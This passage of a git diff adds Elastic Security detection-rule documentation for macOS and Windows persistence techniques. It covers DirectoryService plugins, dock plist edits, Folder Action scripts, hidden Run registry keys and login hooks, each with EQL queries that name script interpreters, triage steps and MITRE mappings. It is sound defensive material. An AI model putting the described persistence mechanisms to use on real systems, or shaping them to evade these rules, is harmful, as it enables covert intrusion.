Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-directoryservice-plugin-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-directoryservice-plugin-modification.asciidoc new file mode 100644 index 0000000000..d5a2fd0f8c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-directoryservice-plugin-modification.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-20-persistence-via-directoryservice-plugin-modification]] +=== Persistence via DirectoryService Plugin Modification + +Identifies the creation or modification of a DirectoryService PlugIns (dsplug) file. The DirectoryService daemon launches on each system boot and automatically reloads after crash. It scans and executes bundles that are located in the DirectoryServices PlugIns folder and can be abused by adversaries to maintain persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.chichou.me/2019/11/21/two-macos-persistence-tricks-abusing-plugins/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via DirectoryService Plugin Modification* + + +DirectoryService PlugIns on macOS are integral for managing directory-based services, automatically executing on system boot. Adversaries exploit this by modifying or creating malicious plugins to ensure persistent access. The detection rule identifies suspicious activity by monitoring non-deletion events involving dsplug files in the PlugIns directory, flagging potential unauthorized modifications indicative of persistence tactics. + + +*Possible investigation steps* + + +- Review the alert details to confirm the file path matches /Library/DirectoryServices/PlugIns/*.dsplug, indicating a potential unauthorized modification or creation of a DirectoryService plugin. +- Check the file creation or modification timestamp to determine when the suspicious activity occurred and correlate it with other system events or user activities around that time. +- Investigate the file's origin by examining the file's metadata, such as the creator or modifying user, and cross-reference with known user accounts and their typical behavior. +- Analyze the contents of the modified or newly created dsplug file to identify any malicious code or unusual configurations that could indicate adversarial activity. +- Review system logs and other security alerts around the time of the event to identify any related suspicious activities or patterns that could suggest a broader compromise. +- Assess the risk and impact of the modification by determining if the plugin is actively being used for persistence or if it has been executed by the DirectoryService daemon. + + +*False positive analysis* + + +- Routine system updates or legitimate software installations may modify dsplug files, triggering alerts. Users can create exceptions for known update processes or trusted software installations to reduce noise. +- Administrative tasks performed by IT personnel, such as configuring directory services, might involve legitimate modifications to dsplug files. Implementing a whitelist for actions performed by verified IT accounts can help minimize false positives. +- Security software or system management tools that interact with directory services might cause benign modifications. Identifying and excluding these tools from monitoring can prevent unnecessary alerts. +- Automated scripts or maintenance tasks that regularly check or update directory service configurations could be flagged. Documenting and excluding these scripts from detection can help maintain focus on genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Conduct a thorough review of the identified dsplug file(s) in the /Library/DirectoryServices/PlugIns/ directory to confirm unauthorized modifications or creations. Compare against known good configurations or backups. +- Remove any unauthorized or malicious dsplug files and restore legitimate versions from a trusted backup if available. +- Restart the DirectoryService daemon to ensure it is running only legitimate plugins. This can be done by executing `sudo launchctl stop com.apple.DirectoryServices` followed by `sudo launchctl start com.apple.DirectoryServices`. +- Perform a comprehensive scan of the system using updated security tools to identify any additional malicious files or indicators of compromise. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the DirectoryServices PlugIns directory to detect future unauthorized changes promptly, ensuring alerts are configured to notify the security team immediately. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "modification" and + file.path like "/Library/DirectoryServices/PlugIns/*.dsplug" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-docker-shortcut-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-docker-shortcut-modification.asciidoc new file mode 100644 index 0000000000..86448b80cf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-docker-shortcut-modification.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-20-persistence-via-docker-shortcut-modification]] +=== Persistence via Docker Shortcut Modification + +An adversary can establish persistence by modifying an existing macOS dock property list in order to execute a malicious application instead of the intended one when invoked. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/specterops/presentations/raw/master/Leo%20Pitt/Hey_Im_Still_in_Here_Modern_macOS_Persistence_SO-CON2020.pdf + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via Docker Shortcut Modification* + + +Docker shortcuts on macOS are managed through dock property lists, which define application launch behaviors. Adversaries may exploit this by altering these lists to redirect shortcuts to malicious applications, thus achieving persistence. The detection rule identifies unauthorized modifications to these property lists, excluding legitimate processes, to flag potential threats. This approach helps in pinpointing suspicious activities that could indicate persistence mechanisms being established by attackers. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path and process name involved in the modification of the com.apple.dock.plist file. +- Examine the process that triggered the alert by checking its parent process, command line arguments, and execution history to determine if it is associated with known malicious activity. +- Investigate the user account associated with the file modification to determine if there are any signs of compromise or unauthorized access. +- Check for any recent changes or anomalies in the user's environment, such as new applications installed or unexpected network connections, that could indicate further malicious activity. +- Correlate the event with other security alerts or logs from the same host to identify any patterns or additional indicators of compromise. +- If possible, restore the original com.apple.dock.plist file from a backup to ensure the system's integrity and prevent the execution of any malicious applications. + + +*False positive analysis* + + +- Legitimate software updates or installations may modify the dock property list. Users can create exceptions for known update processes like software management tools to prevent false alerts. +- System maintenance tasks performed by macOS utilities might trigger the rule. Exclude processes such as cfprefsd and plutil, which are involved in regular system operations, to reduce noise. +- Custom scripts or automation tools that modify user preferences could be flagged. Identify and whitelist these scripts if they are part of routine administrative tasks. +- Security or IT management tools like Jamf or Kandji may interact with dock property lists. Ensure these tools are included in the exclusion list to avoid unnecessary alerts. +- User-initiated changes to dock settings can also be mistaken for malicious activity. Educate users on the implications of modifying dock settings and monitor for patterns that deviate from normal behavior. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious processes identified as modifying the dock property list, especially those not matching legitimate process names or executables. +- Restore the original com.apple.dock.plist file from a known good backup to ensure the dock shortcuts are not redirecting to malicious applications. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection tools to identify and remove any additional malicious software. +- Review and audit user accounts and permissions on the affected system to ensure no unauthorized access or privilege escalation has occurred. +- Implement monitoring for any future unauthorized modifications to dock property lists, ensuring alerts are configured for quick response. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "modification" and + file.path like "/Users/*/Library/Preferences/com.apple.dock.plist" and + ((process.name like~ ("osascript", "python*", "sh", "bash", "zsh", "node") or Effective_process.name like~ ("osascript", "python*", "sh", "bash", "zsh", "node")) or + (process.code_signature.exists == false or process.code_signature.trusted == false)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Shortcut Modification +** ID: T1547.009 +** Reference URL: https://attack.mitre.org/techniques/T1547/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-folder-action-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-folder-action-script.asciidoc new file mode 100644 index 0000000000..063a69717f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-folder-action-script.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-20-persistence-via-folder-action-script]] +=== Persistence via Folder Action Script + +Detects modification of a Folder Action script. A Folder Action script is executed when the folder to which it is attached has items added or removed, or when its window is opened, closed, moved, or resized. Adversaries may abuse this feature to establish persistence by utilizing a malicious script. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via Folder Action Script* + + +Folder Action scripts on macOS automate tasks by executing scripts when folder contents change. Adversaries exploit this by attaching malicious scripts to folders, ensuring execution upon folder events, thus achieving persistence. The detection rule identifies suspicious script executions by monitoring specific processes initiated by the UserScriptService, excluding known benign scripts, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of a script by checking the process name and arguments, ensuring it matches the suspicious criteria outlined in the detection rule. +- Investigate the parent process, com.apple.foundation.UserScriptService, to understand the context of the script execution and identify any unusual behavior or anomalies. +- Examine the specific folder associated with the Folder Action script to determine if it has been modified recently or contains any unauthorized or unexpected scripts. +- Check the user account associated with the script execution to verify if the activity aligns with normal user behavior or if it indicates potential compromise. +- Look for any additional related alerts or logs that might provide further context or evidence of malicious activity, such as other script executions or file modifications around the same time. + + +*False positive analysis* + + +- Scripts associated with legitimate applications like iTerm2 and Microsoft Office may trigger alerts. These are known benign scripts and can be excluded by adding their paths to the exception list in the detection rule. +- Custom user scripts that automate routine tasks might be flagged. Users should review these scripts and, if verified as safe, add their specific paths to the exclusion criteria. +- Development environments that frequently execute scripts for testing purposes can cause false positives. Developers should ensure that these scripts are executed in a controlled environment and consider excluding their paths if they are consistently flagged. +- System maintenance scripts that are scheduled to run during folder events might be detected. Users should verify these scripts' legitimacy and exclude them if they are part of regular system operations. +- Backup or synchronization tools that use scripts to manage file changes in folders could be mistakenly identified. Confirm these tools' activities and exclude their script paths if they are part of trusted operations. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further execution of the malicious script and potential lateral movement. +- Terminate any suspicious processes identified by the detection rule, particularly those initiated by the UserScriptService that match the query criteria. +- Remove or disable the malicious Folder Action script from the affected folder to prevent future execution. +- Conduct a thorough review of the affected system's folder action scripts to identify and remove any additional unauthorized or suspicious scripts. +- Restore any affected files or system components from a known good backup to ensure system integrity. +- Monitor the system for any signs of re-infection or further suspicious activity, focusing on processes and scripts similar to those identified in the alert. +- Escalate the incident to the security team for further investigation and to determine if additional systems are affected, ensuring a comprehensive response to the threat. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and process.parent.name == "com.apple.foundation.UserScriptService" and + ((process.name like~ ("osascript", "python*", "tcl*", "node", "perl", "ruby", "php")) or + (process.name in ("bash", "csh", "zsh", "sh") and process.args == "-c")) and + not process.args like ("/Users/*/Library/Scripts/*", "/Users/*/Library/Application Scripts/*", "/Library/Scripts/*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-hidden-run-key-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-hidden-run-key-detected.asciidoc new file mode 100644 index 0000000000..126e9c763a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-hidden-run-key-detected.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-20-persistence-via-hidden-run-key-detected]] +=== Persistence via Hidden Run Key Detected + +Identifies a persistence mechanism that utilizes the NtSetValueKey native API to create a hidden (null terminated) registry key. An adversary may use this method to hide from system utilities such as the Registry Editor (regedit). + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/outflanknl/SharpHide +* https://github.com/ewhitehats/InvisiblePersistence/blob/master/InvisibleRegValues_Whitepaper.pdf + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via Hidden Run Key Detected* + + +The Windows Registry is a critical system database that stores configuration settings. Adversaries exploit it for persistence by creating hidden registry keys using native APIs, making them invisible to standard tools like regedit. The detection rule identifies changes in specific registry paths associated with startup programs, flagging null-terminated keys that suggest stealthy persistence tactics. + + +*Possible investigation steps* + + +- Review the specific registry path where the change was detected to determine if it matches any of the paths listed in the query, such as "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" or "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\". +- Check the timestamp of the registry change event to correlate it with other system activities or user actions that occurred around the same time. +- Investigate the process that made the registry change by examining process creation logs or using tools like Sysmon to identify the responsible process and its parent process. +- Analyze the content of the registry key value that was modified or created to determine if it points to a legitimate application or a potentially malicious executable. +- Cross-reference the detected registry change with known threat intelligence sources to identify if the key or value is associated with known malware or adversary techniques. +- Assess the affected system for additional indicators of compromise, such as unusual network connections, file modifications, or other persistence mechanisms. + + +*False positive analysis* + + +- Legitimate software installations or updates may create registry keys in the specified paths, leading to false positives. Users can monitor the installation process and temporarily disable the rule during known software updates to prevent unnecessary alerts. +- System administrators may intentionally configure startup programs for maintenance or monitoring purposes. Document these configurations and create exceptions in the detection rule to avoid flagging them as threats. +- Some security software may use similar techniques to ensure their components start with the system. Verify the legitimacy of such software and whitelist their registry changes to prevent false alarms. +- Custom scripts or automation tools used within an organization might modify registry keys for operational reasons. Identify these scripts and exclude their activities from the detection rule to reduce false positives. +- Regularly review and update the list of known safe applications and processes that interact with the registry paths in question, ensuring that the detection rule remains relevant and accurate. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Use a trusted tool to manually inspect and remove the hidden registry keys identified in the alert from the specified registry paths to eliminate the persistence mechanism. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes associated with the threat. +- Review recent user activity and system logs to identify any unauthorized access or changes made by the adversary, and reset credentials for any compromised accounts. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar endpoints to detect any recurrence of the threat, focusing on registry changes and process execution. +- Update and reinforce endpoint security configurations to prevent similar persistence techniques, such as enabling registry auditing and restricting access to critical registry paths. + +==== Rule query + + +[source, js] +---------------------------------- +/* Registry Path ends with backslash */ +registry where host.os.type == "windows" and event.type == "change" and length(registry.data.strings) > 0 and + registry.path : "*\\Run\\" and + registry.path : ( + "*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", + "*\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\", + "*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-login-or-logout-hook.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-login-or-logout-hook.asciidoc new file mode 100644 index 0000000000..c0a7d4e9cd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-login-or-logout-hook.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-20-persistence-via-login-or-logout-hook]] +=== Persistence via Login or Logout Hook + +Identifies use of the Defaults command to install a login or logoff hook in MacOS. An adversary may abuse this capability to establish persistence in an environment by inserting code to be executed at login or logout. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.virusbulletin.com/uploads/pdf/conference_slides/2014/Wardle-VB2014.pdf +* https://www.manpagez.com/man/1/defaults/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via Login or Logout Hook* + + +In macOS environments, login and logout hooks are scripts executed automatically during user login or logout, often used for system management tasks. Adversaries exploit this by inserting malicious scripts to maintain persistence. The detection rule identifies suspicious use of the `defaults` command to set these hooks, excluding known legitimate scripts, thus highlighting potential unauthorized persistence attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of the "defaults" command with "write" arguments targeting "LoginHook" or "LogoutHook". +- Check the process execution history for the user account associated with the alert to identify any unusual or unauthorized activity. +- Investigate the source and content of the script specified in the "defaults" command to determine if it contains malicious or unauthorized code. +- Cross-reference the script path against known legitimate scripts to ensure it is not mistakenly flagged. +- Analyze recent system changes or installations that might have introduced the suspicious script or process. +- Review system logs around the time of the alert for any additional indicators of compromise or related suspicious activity. + + +*False positive analysis* + + +- Known false positives include legitimate scripts used by system management tools like JAMF, which are often set as login or logout hooks. +- To handle these, users can create exceptions for known legitimate scripts by adding their paths to the exclusion list in the detection rule. +- Regularly review and update the exclusion list to ensure it includes all authorized scripts used in your environment. +- Monitor for any changes in the behavior of these scripts to ensure they remain non-threatening and authorized. +- Collaborate with IT and security teams to identify any new legitimate scripts that should be excluded from detection. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or data exfiltration by the adversary. +- Terminate any suspicious processes associated with the unauthorized login or logout hooks to halt any ongoing malicious activity. +- Remove the unauthorized login or logout hooks by using the `defaults delete` command to ensure the persistence mechanism is dismantled. +- Conduct a thorough review of system logs and recent changes to identify any additional unauthorized modifications or indicators of compromise. +- Restore any affected system files or configurations from a known good backup to ensure system integrity and functionality. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for similar unauthorized use of the `defaults` command to improve detection and response capabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type == "start" and + process.name == "defaults" and process.args == "write" and process.args : ("LoginHook", "LogoutHook") and + not process.args : + ( + "Support/JAMF/ManagementFrameworkScripts/logouthook.sh", + "Support/JAMF/ManagementFrameworkScripts/loginhook.sh", + "/Library/Application Support/JAMF/ManagementFrameworkScripts/logouthook.sh", + "/Library/Application 